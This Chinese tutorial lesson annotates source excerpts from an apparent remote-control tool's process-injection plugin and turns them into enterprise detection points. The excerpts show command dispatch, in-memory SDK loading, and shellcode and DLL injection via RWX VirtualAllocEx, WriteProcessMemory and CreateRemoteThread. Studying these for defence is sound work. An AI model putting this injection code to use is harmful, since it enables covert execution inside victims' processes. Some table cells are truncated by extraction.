第 41 课:主插件:注入管理
# 第 41 课:主插件:注入管理
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课围绕 主插件\注入管理 展开。这个模块不是普通的业务功能,它集中出现了跨进程句柄、远程内存写入、远程线程、APC、NtCreateThreadEx、PAGE_EXECUTE_READWRITE 等高风险行为。对企业安全工程来说,本课的重点不是复现这些能力,而是看懂源码中哪些行为会触发风险、如何把单点 API 事件串成可靠告警、如何在源码防御评估和主机防护中提前拦截。

# 1. 本课学习路线
先从新手角度理解“注入管理”在整体工程中的角色:控制端下发命令,被控端插件接收命令,CInjectManager 决定是走 DLL 路径还是代码块路径。然后再看源码中真正能暴露风险的三类迹象:目标进程句柄、远程内存、远程执行入口。最后再把这些迹象变成企业检测规则。
本课不会给出可直接复用的注入操作流程,也不会补充绕过、免杀、稳定执行之类内容。所有源码节选都只用于防御理解。
# 2. 源码目录和文件
| 位置 | 作用 | 阅读重点 |
|---|---|---|
主插件\注入管理\注入管理\注入管理.cpp | 插件入口,建立连接并创建管理对象 | 入口线程、连接参数、生命周期 |
主插件\注入管理\注入管理\InjectManager.h | 注入管理类声明 | 注入模式枚举、文件接收状态、关键函数 |
主插件\注入管理\注入管理\InjectManager.cpp | 主要实现 | 命令分发、进程列表、DLL/代码块路径 |
主插件\注入管理\注入管理\MemoryModule.* | 内存加载 PE 辅助 | 内嵌第三方库加载迹象 |
主插件\注入管理\注入管理\yapi.hpp | x86 调用 x64 API 的辅助 | WoW64 场景下 64 位远程 API 调用痕迹 |
依赖说明: 本课除 Windows 进程、内存和线程 API 外,还涉及 MemoryModule 和 yapi.hpp。MemoryModule 的用途是让 PE/DLL 类数据不按普通文件加载路径进入进程,检测时要关注内存模块和导出函数解析;yapi.hpp 用于 WoW64 场景下的跨位数调用辅助,容易让只按当前进程位数判断的规则漏报。相关变量和分支已放进后续源码注释中解释。
# 3. 先把功能边界看清楚。

CInjectManager 不是只做“注入”这一件事。它的功能链更长:上线后先枚举进程,把进程列表发给主控;主控选择目标和模式后,插件可能接收一个文件,可能把 BoxedApp SDK 相关数据写入或映射到虚拟文件系统,也可能直接读取代码块文件,再进入 DLL 路径或代码块路径
| 能力 | 对应源码位置 | 新手应该怎么理解 |
|---|---|---|
| 进程枚举 | InjectManager.cpp 约 405,getProcessList | 给主控端提供可选目标列表 |
| 文件接收 | CreateLocalRecvFile、WriteLocalRecvFile、WriteOk | 把网络传来的数据变成后续可用的本地或虚拟文件 |
| BoxedApp SDK 初始化 | 构造函数约 47-78 | 第三方库,用来支持虚拟文件和对子进程SDK 嵌入 |
| DLL 路径 | Inject_dll 728 | DLL 为载荷形态,重点看文件、模块加载和远程执行 |
| 代码块路径 | Inject_shellcode 938 | 以原始代码块为载荷形态,重点看可执行私有内存 |
| 跨位数辅助 | yapi.hpp 调用 | WoW64 场景下辅助 32 位进程调用 64 位远程 API |
图里每一个节点都能落到具体代码。后面源码节选会把变量含义、执行顺序和防御风险写在代码注释里,不再额外抽成清单。
# 4. 先看模块角色
构造函数里有两个值得新手先理解的动作:第一,它会枚举进程并把列表发回控制端;第二,它根据当前进程位数决定后续走普通 API 还是 yapi 辅助调用。防御侧看到的不是“一个 API”,而是一条链:进程枚举、目标选择、文件传输、远程内存、远程执行。
// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约20-40 CInjectManager::CInjectManager(ISocketBase* pClient) : CManager(pClient)
{
Flags = THREAD_CREATE_FLAGS_CREATE_SUSPENDED |
THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH |
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER;
// 防御分析:线程创建标志包含隐藏调试器语义,属于高风险实现信号
// 源码评估时不需要单独列审查点,直接在这里标注原因:
// 进程枚举、目标选择和后续远程执行常会围绕这类初始化状态展开。
LPBYTE lpBuffer = getProcessList();
// 防御分析:启动即枚举进程,后续发送给控制端,主机侧可关注短时
// 大量进程枚举、路径查询和模块列表读取
lpBuffer[0] = TOKEN_INJECT;
// 防御分析:TOKEN_INJECT 表示注入模块上线,是协议层识别功能的线索
if ((sizeof(int*) * 8) > 32) {
// 防御分析:指针宽度判断用于区分 x86/x64,WoW64 场景下需要关注
// 跨位数目标选择、yapi 辅助调用 64 位远程 API 痕迹
lpBuffer[1] = 1;
ClientIsx86 = FALSE;
} else {
lpBuffer[1] = 0;
ClientIsx86 = TRUE;
}
Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer));
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
构造函数后半段开始加载 BoxedApp SDK。这里要特别说明第三方库用途:BoxedApp SDK 的目标是把文件系统相关依赖虚拟化,让后续“远程文件”和 SDK DLL 可以不完全按普通落地文件路径处理。源码又把 MemoryModule SDK 字节数组映射成可调用模块,所以检测时既要看普通文件,也要看内存模块和导出函数解析。
// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约47-78 // 防御分析注释// 1. bxsdk32MyFileBuf / bxsdk64MyFileBuf 是内置的 BoxedApp SDK 数据
// 2. MemoryLoadLibrary 来自 MemoryModule,用于从内存加载这个 SDK,而不是走普通 LoadLibrary 文件路径// 3. MemoryGetProcAddress 动态解析 BoxedAppSDK_* 导出函数,静态导入表里未必能直接看到这些 API// 4. SetBxSdkRawData、EmulateBoxedAppSDKDLL、CreateVirtualFileW 后续会影响文件接收和虚拟文件行为
#ifdef _WIN64
bxsdkbyte = new BYTE[bxsdk64MyFileSize];
memcpy(bxsdkbyte, bxsdk64MyFileBuf, bxsdk64MyFileSize);
handle = ::MemoryLoadLibrary(bxsdkbyte, bxsdk64MyFileSize);
#else
bxsdkbyte = new BYTE[bxsdk32MyFileSize];
memcpy(bxsdkbyte, bxsdk32MyFileBuf, bxsdk32MyFileSize);
handle = ::MemoryLoadLibrary(bxsdkbyte, bxsdk32MyFileSize);
#endif
if (handle != NULL)
{
MyBoxedAppSDK_SetContext =
(fuBoxedAppSDK_SetContext)MemoryGetProcAddress(handle, "BoxedAppSDK_SetContext");
MyBoxedAppSDK_Init =
(fuBoxedAppSDK_Init)MemoryGetProcAddress(handle, "BoxedAppSDK_Init");
MyBoxedAppSDK_CreateVirtualFileW =
(fuBoxedAppSDK_CreateVirtualFileW)MemoryGetProcAddress(handle, "BoxedAppSDK_CreateVirtualFileW");
MyBoxedAppSDK_EmulateBoxedAppSDKDLL =
(fuBoxedAppSDK_EmulateBoxedAppSDKDLL)MemoryGetProcAddress(handle, "BoxedAppSDK_EmulateBoxedAppSDKDLL");
(*MyBoxedAppSDK_SetContext)(INITCODE);
BoxedAppSDK_Init_IsOK = (*MyBoxedAppSDK_Init)();
// 防御分析:初始化成功后,后续 COMMAND_INJECT_FILE_* 才能写入虚拟文件
// 对企业检测来说,“内存加SDK + 虚拟文件 + 远程执行”应作为组合风险看待
(*MyBoxedAppSDK_EmulateBoxedAppSDKDLL)();
(*MyBoxedAppSDK_EnableOption)(
DEF_BOXEDAPPSDK_OPTION__EMBED_BOXEDAPP_IN_CHILD_PROCESSES, TRUE);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
getProcessList 是触发注入前的目标发现阶段。它不会直接写内存,但它会打开大量进程、读取路径、收集用户和窗口信息。很多企业告警只盯最后的注入 API,容易错过这个前置信号。
// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约405-475 // 防御分析注释// 1. DebugPrivilege(SE_DEBUG_NAME, TRUE) 表示模块尝试启用调试权限,便于读取更多进程信息// 2. CreateToolhelp32Snapshot 枚举系统进程,EnumWindows 补充窗口标题映射// 3. OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ) 用于读取目标进程路径和模块信息// 4. 输出缓冲区会发回主控端,主控端据此选择目标 PID 和注入模式LPBYTE CInjectManager::getProcessList()
{
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
DebugPrivilege(SE_DEBUG_NAME, TRUE);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return NULL;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
lpBuffer[0] = TOKEN_INJECT_PROCESS;
EnumWindows(lpEnumFunc, NULL);
if (Process32First(hSnapshot, &pe32))
{
do
{
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE,
pe32.th32ProcessID);
// 防御分析:这里会继续读取镜像路径、用户名、内存信息和窗口标题 // 这些行为本身未必恶意,但与后续注入模式命令连续出现时,风险显著升高 } while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return lpBuffer;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 5. 注入模式如何分类

源码把模式分成两条主线:一条是 DLL,一条是代码块。每条线又分为 CreateRemoteThread、QueueUserAPC、NtCreateThreadEx。企业检测时不要只盯某一个 API,因为实现可能在不同模式之间切换。
// 源码位置:主插件\注入管理\注入管理\InjectManager.h,约24-32 // 防御分析:这个枚举不是普通状态值,而是把“载荷形态”和“执行方式”组合在一起// 变量 einjectmode 后续会直接决定进DLL 路径还是代码块路径,
// 也会决定检测侧应关LoadLibrary、APC、NtCreateThreadEx 还是 RWX 私有页enum injectmode
{
MODE_CreateRemoteThread_dll,
MODE_CreateRemoteThread_shellcode,
MODE_QueueUserAPC_dll,
MODE_QueueUserAPC_shellcode,
MODE_NtCreateThreadEx_dll,
MODE_NtCreateThreadEx_shellcode,
};
2
3
4
5
6
7
8
9
10
这段枚举对新手很有帮助,因为它把风险拆得非常清楚
| 维度 | DLL 路径 | 代码块路径 |
|---|---|---|
| 载荷形态 | DLL 文件或虚拟文本 | 原始代码块 |
| 常见迹象 | LoadLibrary、模块加载异常 | 私有可执行页、入口不属于正常模块 |
| 文件痕迹 | 可能有临时 DLL | 可能无明显落地文件 |
| 内存风险 | 参数和辅助代码写入远程进程 | RWX 内存风险更突出 |
# 6. 命令分发:控制消息如何进入高危分支。
OnReceive 是本模块最关键的入口。它接收协议命令后,会创建本地接收文件、写入数据、设置 DLL 路径,最后根据注入模式调用 Inject_dll() 或 Inject_shellcode()。

// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约115-165
// 防御分析:OnReceive 是网络命令进入本地高风险 API 的入口
// lpBuffer[0] 是命令字,nSize 是网络包长度;读取 lpBuffer + 1 前应先做长度校验
// 本课只说明触发链路:枚举进程 -> 接收文件 -> 设置 SDK 路径 -> 选择模式 -> 进入对应分支
void CInjectManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
switch (lpBuffer[0])
{
case COMMAND_INJECT_PROCESS:
// 防御分析:主控刷新目标列表时触发,底层会再次调用 getProcessList // 这类行为通常伴随进程快照、路径查询、用户名查询和窗口标题收集 SendProcessList();
break;
case COMMAND_INJECT_FILE_INFO:
// 防御分析:网络包中的文件元信息会影响本地落点和后DLL 路径 CreateLocalRecvFile(lpBuffer + 1);
break;
case COMMAND_INJECT_FILE_DATA:
// 防御分析:网络数据被写入本地文件,是“远程控制命令-> 本地文件痕迹”的关键边界 WriteLocalRecvFile(lpBuffer + 1, nSize - 1);
break;
case COMMAND_INJECT_FILE_SENDOK:
// 防御分析:文件分片收完后,WriteOk 会把 RecvDate 写入 BoxedApp 虚拟文件
// 如果只监控普通磁盘文件,可能看不到完整文件落地链路 WriteOk();
break;
case COMMAND_INJECT_SETDLL:
// 防御分析:把 BoxedApp SDK 32/64 位辅助数据写ProgramData 一类位置并设置路径 // 第三方库在这里参与文件虚拟化和子进程支持,不能只当成普通依赖项看 WriteDllandSetPath(TRUE, _T("\\bxsdk32.key"));
WriteDllandSetPath(FALSE, _T("\\bxsdk64.key"));
break;
case COMMAND_INJECT_MODE:
// 防御分析:m_sinjectmode 是模式选择结构,不能在未验证长度时直接 memcpy // 结构里包含目PID、目标位数、DLL/代码块文件名、输出路径和注入模式 memcpy(&m_sinjectmode, lpBuffer + 1, sizeof(INJECTMODE));
switch (m_sinjectmode.einjectmode)
{
case MODE_CreateRemoteThread_dll:
case MODE_QueueUserAPC_dll:
case MODE_NtCreateThreadEx_dll:
// 防御分析:DLL 路径通常会留下文件、模块加载和远程线程/APC 组合证据 Inject_dll();
break;
case MODE_CreateRemoteThread_shellcode:
case MODE_QueueUserAPC_shellcode:
case MODE_NtCreateThreadEx_shellcode:
// 防御分析:代码块路径更依赖内存侧检测,例如远程写入和可执行私有页 Inject_shellcode();
break;
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
防御侧要抓的不是某一个分支,而是“网络命令到本地高危 API”的链路
| 阶段 | 可见行为 | 建议关联 |
|---|---|---|
| 文件信息命令 | 创建临时接收文件 | 网络会话、文件创建 |
| 文件数据命令 | 连续写入数据 | 传输大小、文件后缀、写入目标 |
| 模式命令 | 进入注入函数 | 协议 token、目标 PID、模式枚举 |
| 执行阶段 | 远程内存和线程事件 | EDR、Sysmon、ETW 事件 |
# 6.1 文件接收和虚拟文件如何接上后续流。
COMMAND_INJECT_FILE_INFO、COMMAND_INJECT_FILE_DATA、COMMAND_INJECT_FILE_SENDOK 三个命令是一组。第一步只接收文件名和长度,第二步按分片把数据追加到 RecvDate,第三步才把完整数据写入 BoxedApp 虚拟文件。这样设计的直接后果是:文件不一定完整落在普通磁盘路径上,内存缓冲和虚拟文件 API 也要纳入检测。
// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约576-615
// 防御分析注释:
// 1. m_fileinfo 来自网络包,里面包含远程文件名和总长度
// 2. RecvDate 是被控端内存缓冲区,COMMAND_INJECT_FILE_DATA 会把分片依次复制进去
// 3. MyBoxedAppSDK_CreateVirtualFileW 是 BoxedApp SDK 导出函数,最终把完整内容写入虚拟文件系统
// 4. 这里说明“注入文件”如何从网络包变成后续 Inject_dll 可读取的数据源
void CInjectManager::CreateLocalRecvFile(LPBYTE lpBuffer)
{
if (!BoxedAppSDK_Init_IsOK)
{
SendError(_T("虚拟目录初始化失败,无法使用远程目录"));
return;
}
memcpy(&m_fileinfo, lpBuffer, sizeof(FILEINFO));
RecvDate = new BYTE[m_fileinfo.SendFileLength];
offsetsize = 0;
BYTE bToken = TOKEN_INJECT_STARTSEND;
Send(&bToken, 1);
}
void CInjectManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
{
memcpy(RecvDate + offsetsize, lpBuffer, nSize);
offsetsize += nSize;
BYTE bToken = TOKEN_INJECT_STARTSEND;
Send(&bToken, 1);
}
void CInjectManager::WriteOk()
{
DWORD dwTemp = 0;
HANDLE VmFile = (*MyBoxedAppSDK_CreateVirtualFileW)(
m_fileinfo.m_SendName,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_NEW,
0,
NULL);
WriteFile(VmFile, RecvDate, m_fileinfo.SendFileLength, &dwTemp, NULL);
CloseHandle(VmFile);
SAFE_DELETE_AR(RecvDate);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# 7. DLL 路径的防御解。

DLL 路径的前半段会把接收到的 DLL 数据写到本地路径。对企业来说,这意味着可以从文件创建、异DLL 路径、非标准父进程等角度建立检测。
// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约728-760 void CInjectManager::Inject_dll()
{
SYSTEMTIME current_time;
GetLocalTime(¤t_time);
wsprintf(m_sinjectmode.WritePath,
_T("%s\\%u%u%u%u.dll"),
m_sinjectmode.WritePath,
current_time.wHour,
current_time.wMinute,
current_time.wSecond,
current_time.wMilliseconds);
HANDLE VmFile = CreateFile(
m_sinjectmode.WritePath,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
// 防御分析:随机时间命名的 DLL 落地到可写目录,
// 应与随后出现的跨进程写入、远程加载事件一起关联}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
后半段会出现远程内存写入和可执行页,这些是更强的信号。
// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约883-906 pThreadData = VirtualAllocEx(
hProc,
NULL,
4096,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
WriteProcessMemory(hProc, pThreadData, &data, sizeof(data), NULL);
pCode = VirtualAllocEx(
hProc,
NULL,
4096,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pCode, (PVOID)ThreadProc, 4096, NULL);
// 防御分析:同一进程对同一目标连续出现 VirtualAllocEx// WriteProcessMemory、可执行权限内存,应视为强相关高危链?
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 8. 代码块路径的内存风险

代码块路径比 DLL 路径更危险,因为它可能不依赖正常模块加载。防御侧常见的判断点是:目标进程出现私有可执行内存页,执行入口不属于已加载模块,写入者进程与被写入进程无正常业务关系。
// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约937-982 void CInjectManager::Inject_shellcode()
{
HANDLE hProc = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
m_sinjectmode.dwProcessID);
// 防御分析:PROCESS_ALL_ACCESS 是非常宽的目标进程权限,
// 应结合发起进程、目标进程、用户上下文做风险判断。
LPVOID RemotlpAddress = VirtualAllocEx(
hProc,
NULL,
dwSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, RemotlpAddress, lpAddress, dwSize, NULL);
HANDLE ThreadShellCode = CreateRemoteThread(
hProc,
NULL,
0,
(LPTHREAD_START_ROUTINE)RemotlpAddress,
NULL,
0,
NULL);
// 防御分析:这里的代码节选只用于识别风险信号 // 不应把这类调用链用于未授权环境}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
这里的核心不是“调用了哪个 API”,而是三个条件同时成立
| 条件 | 为什么危 | 企业检测建 |
|---|---|---|
| 跨进程句 | 进程边界被突 | 记录源进程、目标进程、权限掩 |
| 远程写入 | 目标进程内存被改 | 关注 WriteProcessMemory、NtWriteVirtualMemory |
| 可执行入口 | 被写入内容可能被执行 | 关注 RWX、远程线程、APC、入口地址归属 |
# 9. x86 / x64 WoW64 关注。
源码中同时支持 32 位和 64 位路径。新手容易误判的点是 32 位进程在 64 位系统上不能简单等同于“只能操32 位目标”。项目里?yapi.hpp 提供了跨位数调用辅助,所以检测时不能只按当前进程位数判断风险
| 场景 | 源码表现 | 检测提 |
|---|---|---|
| 64 位编译 | 普通 VirtualAllocEx、CreateRemoteThread 路径 | 直接监控 Win32 API NT API |
| 32 位进程操64 位目 | yapi::VirtualAllocEx64、yapi::WriteProcessMemory64 | WoW64 进程出现 64 位远API 调用迹象 |
| 目标位数不一 | ClientIsx86、目标进程位数判 | 关联目标进程架构 |
| 线程创建隐藏标志 | THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER | 源码评估和运行期行为均应标红 |
# 10. 企业检测点

| 层面 | 检测点 | 说明 |
|---|---|---|
| 主机进程 | OpenProcess(PROCESS_ALL_ACCESS) | 普通业务进程通常不需要这种权 |
| 内存 | PAGE_EXECUTE_READWRITE 私有 | 与写内存事件组合后优先级升高 |
| 线程 | CreateRemoteThread、NtCreateThreadEx、APC | 关注线程起始地址是否落在私有内存 |
| 文件 | 临时 DLL、随机命DLL、可写目DLL | 与模块加载事件关 |
| 网络 | 控制命令后短时间出现注入行为 | 从协议 token 到主机事件做时间窗口关联 |
| 位数 | WoW64 下的 64 位远程调 | 不要只看进程自身位数 |
# 11. 合法练习:
在实验环境中只阅读源码,画出
OnReceive -> Inject_dll / Inject_shellcode的分支图,不运行相关功能?基于本课表格,写一条“
OpenProcess + VirtualAllocEx + WriteProcessMemory5 分钟内同源同目标”的检测思路?对比 DLL 路径和代码块路径,说明为什么代码块路径更依赖内存侧检测?
在不执行高危代码的前提下,说明
PAGE_EXECUTE_READWRITE在企业源码评估中为什么应被重点标记。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言